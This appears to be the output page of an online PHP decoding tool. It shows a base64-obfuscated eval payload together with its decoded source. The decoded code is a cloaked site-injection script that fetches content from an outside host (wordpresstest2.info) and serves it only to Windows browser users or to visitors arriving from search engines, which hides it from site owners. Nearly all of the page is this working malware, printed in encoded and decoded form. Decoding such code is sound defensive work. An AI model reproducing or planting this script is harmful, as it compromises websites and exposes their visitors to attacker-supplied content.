Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(base64_decode("JHVybCAgICAgICA9ICdodHRwOi8vd29yZHByZXNzdGVzdDIuaW5mby8xLnR4dCc7DQokbW..
Decoded Output download
$url = 'http://wordpresstest2.info/1.txt';
$mode = 1;//1 2
ini_set('default_socket_timeout', 15);
// _
function geturl_1($url)
{
$ctx=stream_context_create(array('http'=> array('timeout' => 15 )));
return file_get_contents($url,false,$ctx);
}
// _2 \
function geturl_2( $sock,$host, $path, $query )
{
fputs($sock, "GET " . $path . "?" . $query . " HTTP/1.0
" .
"Host: $host
" .
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3
" .
"Accept: */*
" .
"Accept-Language: en-us,en;q=0.5
" .
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
" .
"Keep-Alive: 300
" .
"Connection: keep-alive
" .
"Referer: http://$host
");
while ( $line = fread( $sock, 4096 ) )
{
$response .= $line;
}
fclose( $sock );
$pos = strpos($response, "
");
$response = substr($response, $pos + 4);
return $response;
}
// _3 \
function geturl_3($url)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
function is_good_ua($useragent)
{
if( stripos($useragent, 'opera')!==false || stripos($useragent, 'Firefox') || stripos($useragent, 'MSIE'))
{
return 1;
}
return 0;
}
function is_windows_ua($useragent)
{
if(stripos($useragent, 'windows'))
{
return 1;
}
return 0;
}
function mainwork($url)
{
if( ini_get("allow_url_fopen") == 1)
{
echo geturl_1($url);
}
else
{
$url_1 = parse_url($url);
if($sock = @fsockopen($url_1['host'], 80,$errno, $errstr,15))
{
echo geturl_2( $sock, $url_1['host'], $url_1['path'], $url_1['query'] );
}
elseif( @function_exists('curl_init') )
{
echo geturl_3($url);
}
}
}
$ua = @$_SERVER['HTTP_USER_AGENT'];
if(is_windows_ua($ua))
{
if ($mode == 1)
{
if (is_good_ua($ua))
{
mainwork($url);
}
}
elseif ($mode == 2)
{
if (isset($_SERVER['HTTP_REFERER']))
{
$referer = $_SERVER['HTTP_REFERER'];
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com"))
{
if (!stristr($referer,"cache") or !stristr($referer,"inurl"))
{
mainwork($url);
}
}
}
}
}
Did this file decode correctly?
Original Code
eval(base64_decode("JHVybCAgICAgICA9ICdodHRwOi8vd29yZHByZXNzdGVzdDIuaW5mby8xLnR4dCc7DQokbW9kZSAgICAgID0gMTsvLzEg6OvoIDINCg0KaW5pX3NldCgnZGVmYXVsdF9zb2NrZXRfdGltZW91dCcsICAgIDE1KTsgICAgDQoNCg0KDQovL8fg7/Du8SDqIO3g+OXs8yD17vHy818NCmZ1bmN0aW9uIGdldHVybF8xKCR1cmwpDQp7DQoJJGN0eD1zdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2h0dHAnPT4gICBhcnJheSgndGltZW91dCcgPT4gMTUgKSkpOw0KDQoJcmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsZmFsc2UsJGN0eCk7DQp9DQoNCi8vx+Dv8O7xIOog7eD45ezzIPXu8fLzXzIgXCDR7url8vsNCmZ1bmN0aW9uIGdldHVybF8yKCAkc29jaywkaG9zdCwgJHBhdGgsICRxdWVyeSApDQp7DQoJZnB1dHMoJHNvY2ssICJHRVQgIiAuICRwYXRoIC4gIj8iIC4gJHF1ZXJ5IC4gIiAgSFRUUC8xLjBcclxuIiAuDQoJIkhvc3Q6ICRob3N0XHJcbiIgLg0KCSJVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IGVuLVVTOyBydjoxLjguMC4zKSBHZWNrby8yMDA2MDQyNiBGaXJlZm94LzEuNS4wLjNcclxuIiAuDQoJIkFjY2VwdDogKi8qXHJcbiIgLg0KCSJBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzLGVuO3E9MC41XHJcbiIgLg0KCSJBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuNywqO3E9MC43XHJcbiIgLg0KCSJLZWVwLUFsaXZlOiAzMDBcclxuIiAuDQoJIkNvbm5lY3Rpb246IGtlZXAtYWxpdmVcclxuIiAuDQoJIlJlZmVyZXI6IGh0dHA6Ly8kaG9zdFxyXG5cclxuIik7DQoJd2hpbGUgKCAkbGluZSA9IGZyZWFkKCAkc29jaywgNDA5NiApICkNCgl7DQoJCSRyZXNwb25zZSAuPSAkbGluZTsNCgl9DQoJZmNsb3NlKCAkc29jayApOw0KCSRwb3MgICAgICA9IHN0cnBvcygkcmVzcG9uc2UsICJcclxuXHJcbiIpOw0KCSRyZXNwb25zZSA9IHN1YnN0cigkcmVzcG9uc2UsICRwb3MgKyA0KTsNCglyZXR1cm4gJHJlc3BvbnNlOw0KfQ0KLy/H4O/w7vEg6iDt4Pjl7PMg9e7x8vNfMyBcIMrz8Ov7DQpmdW5jdGlvbiBnZXR1cmxfMygkdXJsKQ0Kew0KCSRjaCA9IGN1cmxfaW5pdCgkdXJsKTsNCgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCBGQUxTRSk7DQoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCBUUlVFKTsNCgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTUpOw0KCSRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsNCgljdXJsX2Nsb3NlKCRjaCk7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQoNCmZ1bmN0aW9uIGlzX2dvb2RfdWEoJHVzZXJhZ2VudCkNCnsNCglpZiggc3RyaXBvcygkdXNlcmFnZW50LCAnb3BlcmEnKSE9PWZhbHNlIHx8IHN0cmlwb3MoJHVzZXJhZ2VudCwgJ0ZpcmVmb3gnKSB8fCBzdHJpcG9zKCR1c2VyYWdlbnQsICdNU0lFJykpDQoJew0KCQlyZXR1cm4gMTsNCgl9DQoJcmV0dXJuIDA7DQp9DQoNCmZ1bmN0aW9uIGlzX3dpbmRvd3NfdWEoJHVzZXJhZ2VudCkNCnsNCglpZihzdHJpcG9zKCR1c2VyYWdlbnQsICd3aW5kb3dzJykpDQoJew0KCQlyZXR1cm4gMTsNCgl9DQoJcmV0dXJuIDA7DQp9DQoNCmZ1bmN0aW9uIG1haW53b3JrKCR1cmwpDQp7DQoJaWYoIGluaV9nZXQoImFsbG93X3VybF9mb3BlbiIpID09IDEpDQoJew0KCQllY2hvIGdldHVybF8xKCR1cmwpOw0KCX0NCgllbHNlDQoJew0KCQkkdXJsXzEgPSBwYXJzZV91cmwoJHVybCk7DQoNCgkJaWYoJHNvY2sgPSBAZnNvY2tvcGVuKCR1cmxfMVsnaG9zdCddLCA4MCwkZXJybm8sICRlcnJzdHIsMTUpKQ0KCQl7DQoJCQllY2hvIGdldHVybF8yKCAkc29jaywgJHVybF8xWydob3N0J10sICR1cmxfMVsncGF0aCddLCAkdXJsXzFbJ3F1ZXJ5J10gKTsNCgkJfQ0KCQllbHNlaWYoIEBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpICkNCgkJew0KCQkJZWNobyBnZXR1cmxfMygkdXJsKTsNCgkJfQ0KCX0NCn0NCg0KDQokdWEgPSBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KDQppZihpc193aW5kb3dzX3VhKCR1YSkpDQp7DQoJaWYgKCRtb2RlID09IDEpDQoJew0KCQlpZiAoaXNfZ29vZF91YSgkdWEpKQ0KCQl7DQoJCQltYWlud29yaygkdXJsKTsNCgkJfQ0KCX0NCgllbHNlaWYgKCRtb2RlID09IDIpDQoJew0KCQlpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkNCgkJew0KCQkJJHJlZmVyZXIgPSAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQoJCQlpZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvZ28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpb3Igc3RyaXN0cigkcmVmZXJlciwiYXBvcnQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJuaWdtYSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiZWd1bi5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInN0dW1ibGV1cG9uLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpdC5seSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInRpbnl1cmwuY29tIikgb3IgcHJlZ19tYXRjaCgiL3lhbmRleFwucnVcL3lhbmRzZWFyY2hcPyguKj8pXCZsclw9LyIsJHJlZmVyZXIpIG9yIHByZWdfbWF0Y2ggKCIvZ29vZ2xlXC4oLio/KVwvdXJsXD9zYS8iLCRyZWZlcmVyKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJteXNwYWNlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkNCgkJCXsNCgkJCQlpZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpDQoJCQkJew0KCQkJCQltYWlud29yaygkdXJsKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQp9"));
Function Calls
base64_decode | 1 |
Stats
MD5 | a018b09f8d65f109003ef82cd97f98d6 |
Eval Count | 1 |
Decode Time | 78 ms |